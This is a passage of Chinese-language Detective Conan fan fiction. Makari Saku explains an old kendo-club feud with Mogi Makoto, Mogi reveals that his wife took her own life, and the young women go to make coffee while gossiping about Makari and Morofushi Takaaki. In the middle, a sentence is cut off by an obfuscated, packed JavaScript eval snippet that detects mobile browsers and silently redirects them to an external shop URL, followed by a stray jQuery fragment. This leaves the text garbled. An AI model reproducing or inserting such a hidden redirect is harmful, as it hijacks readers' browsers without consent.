诸伏高明的表情也有些复杂和微妙,“所以你当时和今野先生打架,只是因为你觉得他莫名其妙地骂了你一顿?”
“是莫名其妙、毫不讲理加气势汹汹,并且狠狠地骂了我一顿。”真狩朔严肃地纠正道。
“而且当时也是他主动提着竹刀来找我的。”
随后他卸了一口气,继续说:
“不过我在得知了真相后,就主动去找郁子小姐道歉了,只可惜当时的她已经完全不愿意见我了。”
“又因为当时和前辈打架,导致我被禁赛的这事情在学校里闹得沸沸扬扬。再加上我之后又去主动找了几次郁子小姐,却被一群人误会臆想成了我回心转意什么的……哎,总之就是很麻烦。”
绿眼青年用手指轻轻挠着诸伏高明的掌心,目光幽幽,“以至于后来,连今野前辈都不愿意见我了。”
凤眼警官被挠得有些痒,他反手抓住了真狩朔的手,十指相扣,语气也温柔了起来,耐心地问:“所以之后你连社团也不去了?”
刚刚勉强恢复正常了的服部平次打了个机灵,搓了搓手臂上的鸡皮疙瘩。
“既不能参加比赛,又不能好好相处,那我自然也不愿意留下来。”真狩朔表情无奈,长睫毛微微颤动。
“之后你们也一直没有说开这件事?”江户川柯南倒是一心只有案件。
“是啊,之后今野前辈毕业了,郁子小姐又完全不接受我的道歉。我怕大家传得更离谱,就没再靠近过她。”
“后来她和今野前辈结婚这件事,我还是听小柳前辈说的,我甚至都不知道今野前辈改姓了茂木。”真狩朔道。
“当初也是我不好,气血上头了。”茂木真城的声音忽然出现,他远远地走来,见众人的目光落在了自己身上,露出了苦笑。
“真的十分抱歉,当时听信了谣言。”
“我还欠真狩君你一个迟来的抱歉呢。其实今天在会场见到你的时候,我还以为你已经原谅我了,所以才会这么激动。”茂木真城道。
真狩朔有一种被当面捉住在背后议论人的尴尬,“呃……没关系,现在想想我当时也很幼稚。”
和服男人笑了笑,“我记得当时在我们闹掰后,也是小柳来找你重新回到剑道社的吧。”
“是啊,小柳前辈在毕业后还经常翻墙跑回学校,特地找我说教来着。”真狩朔叹气。
“哈哈哈哈,那还真是多亏她了。只可惜你没能当上队长……”
“下一届的黑濑君也是十分可靠的队长,所以我倒是没什么遗憾……”
一位刑警、两位侦探,三人仔细打量着茂木真城的表情,这才确认了对话的两人之间真的没有什么问题,甚至可以说,真狩朔和茂木真城的关系远比寻常朋友还要好。
“只可惜,我没办法再对郁子小姐当面说声抱歉了。”真狩朔道。
茂木真城一顿,叹了一口气,“今天是郁子的祭日,没想到却又发生了命案。”
诸伏高明忽然道:“冒昧打断一下,请问茂木夫人是因为什么去世的呢?”
茂木真城沉默了片刻,他闭上眼睛,似乎再也掩饰不住疲惫了,轻声道:“或许是因为抑郁吧……”
服部平次和江户川柯南同时皱起了眉。
“我们的孩子在出生后身体一直不好,不到一岁就去世了。郁子她接受不了这个事实,在健也去世后不到两个月,她服用安眠药……自尽了。”
真狩朔闻言瞳孔微缩,随后不忍地垂下了睫毛。
诸伏高明和江户川柯南、服部平次陆陆续续又问了些许问题,从本次宴会的安排,到有无仇家或者嫌疑人一一问了个清楚。
另一边,和远山和叶坐在一起聊天的毛利兰打了个哈欠。
“小兰你累了吗?”远山和叶关心道。
毛利兰揉了揉眼睛,点点头,“是有一些。”
头上绑着蝴蝶结的少女看了一眼大厅的时钟,“已经快十点了呢,没想到都这么晚了。”
她环视了一眼四周,大厅内的宾客们在不知不觉中已经悉数离开。剩下的两群人一边是还在讨论案情的真狩朔一行人,另一边则是依旧在辛苦做笔录的大泷警官等警方人员。
“既然这样的话,不如我去泡些咖啡来吧。”远山和叶提议道。
“那我陪你一起去。”毛利兰站了起来。
两位少女走到了茂木真城身边,询问起来。
茂木真城这才惊觉夜已经深了,连忙道:“咖啡是吗?我这就让人去准备。”
他转头张望了一下,却见自己的秘书、助理、甚至连带着厨师帽的后厨工作人员,都在大泷警官那边排队做笔录。
茂木真城揉了揉眉心,忽然想起来让客人们先做好笔录提前离开,这件事还是他安排的。
“抱歉,我现在就去帮你们泡咖啡。”茂木真城也站了起来。
“哎?没关系啦,我们自己去就好。”远山和叶连连摆手。
“不,再怎么说也不能让客人去……”茂木真城还想说什么。
一旁同样扎着短马尾的宫崎柚希笑着把茂木真城按了下去,“好啦好啦,你现在可是我们的重点保护对象,我来陪两位小姑娘去厨房吧。”
宫崎柚希的年龄比在场的几人小上两三岁,看起来娇小可爱,十分年轻有活力,她甩了甩马尾,环顾了一圈在场的所有人,问道:“还有人想和咖啡或者饮料的吗?过时不候哦。”
有几人陆续举手示意。
“那我想来杯红酒。”小柳一华绕了绕耳边垂落的长发,“喝完再讨论一会儿,也该休息了。”
真狩朔抬手看了一眼手表,“我就算了,我可不想通宵。”他转头看向了茂木真城,“你应该会给我这个老同学准备间客房休息吧。”
茂木真城有些为难地摸了摸下巴,看了一眼大泷警官的方向,“房间当然还有,只不过还没来得及收拾,你可能还要等上一会了。”
“那真狩前辈就住我的房间好了,我今天到得晚,还没来得及住进去。”庄司理人冲着楼上扬了扬下巴,“三楼从右边数第三个房间。”
真狩朔挑了一下眉,“你也不休息?”
庄司理人摇头,“我都准备喝咖啡了,况且今天发生了这种事,我也睡不着,还是和大家一起聊天来得安心。”
真狩朔见状便笑着道谢,然后看了一眼依旧在询问案情的诸伏高明。
本以为自家恋人肯定也是会继续留下套话,却不想诸伏高明也站了起来,“那我陪你一起,先去车上把行李拿下来吧。”
真狩朔挑了一下眉,欣然同意了。
三位女士提出要帮还在工作的警察和其他工作人员也准备上几壶咖啡和饮料,走在后面的真狩朔和诸伏高明两位
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17451908|195897||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
男士听到了后,便也决定一起去帮忙。
看着与两位女高中生融入得毫无痕迹的宫崎柚希,落在三人身后的真狩朔忽然对诸伏高明道:
“抱歉,今天发生了很多事情,我都没有来得及好好地陪你,和你说上几句话。”
身边的诸伏高明还没来得及有所反应。走在前面常年习武的三位女士蓦地神色一动,默契地压低了声音。
“怎么会呢?你一直陪在我身边不是吗?”凤眼警官的声音从身后传来,然后他继续道:“更何况,今天明明是你更期待能亲眼见到膝丸的。”
“是啊,膝丸,你不说我都要忘了。”绿眼青年恍然的声音中带着懊恼,“怎么每次休假的时候都能遇上案件,你在东京养伤的时候是这样,跑到大阪旅行还是这样。”
两位成年情侣相携着笑着闲聊。
走在前面的宫崎柚希忍不住回头看了一眼,小声嘟囔:“他们两人果然是情侣吧,居然意外地般配呢。”
远山和叶满眼放光,点头道:“初见时我还以为真狩先生是那种冷峻型的大帅哥。可没想到他也会说出这么贴心的话。”
“就是说呀。”毛利兰笑着附和。
两位高中女生又不约而同想到了他们离开前,依旧凑在一起讨论案情的一大一小两位少年侦探。
远山和叶抱胸,气鼓鼓地哼了一声,“但凡平次能有十分之一的温柔和体贴,我就知足了。”
毛利兰闻言却莞尔一笑,“平次君只是性格不同而已,他对和叶你一样是非常上心的啦。”
远山和叶面色一红,低下了头。
“这一点完全不用怀疑哦。”毛利兰俏皮的从身后拍了拍远山和叶的双肩。
“话是这么说……”远山和叶拨弄着手指。
但谁不希望喜欢的人能对自己再多些温柔和体贴?
宫崎柚希感慨道:“我也没想到,真正接触下来,真狩前辈居然和我想象中完全不一样。”
闻言,两位女高中生倒是更惊讶,“宫崎小姐不是在高中时期,和真狩先生是同一社团的吗?”
“哎呀,虽然是同一社团,但我入社的时候才只是一年级,连正选都不是呢。而那时候的真狩前辈却都已经高三了。”宫崎柚希道。
“那你印象中的真狩先生是什么样的呢?”毛利兰歪头问道。
宫崎柚希有些为难,“其实真要我说,我只觉得很难接近吧。毕竟真狩前辈长得好看,剑道特别厉害,学习成绩又好。”
宫崎柚希傻笑了一下,“嘿嘿,但是真狩前辈那时候长得,真的特别特别好看哦,就像漂亮的外国小男孩一样。据说更小一些的时候,还有人把前辈误认为是女孩子呢。”
宫崎柚希回忆道:“哎,只可惜现在越长越帅了,和高中时期的感觉还是有点不同的。”
“可惜吗?”毛利兰笑了。
“啊我的意思是,见到了和印象里完全不同的真狩前辈,感觉有点恍惚。”宫崎柚希连忙解释:“不仅外貌变了,整个人的气质也变了的感觉。”
“而且当时在学校里就有人在传,真狩前辈其实是喜欢男生来着。”宫崎柚希忽然激动地说:“没想到居然也是真的!
“咳咳。”
身后传来了清嗓子的声音,吓得三位女生脖子一缩,这才意识到,她们的说话声音已经变得越来越大了。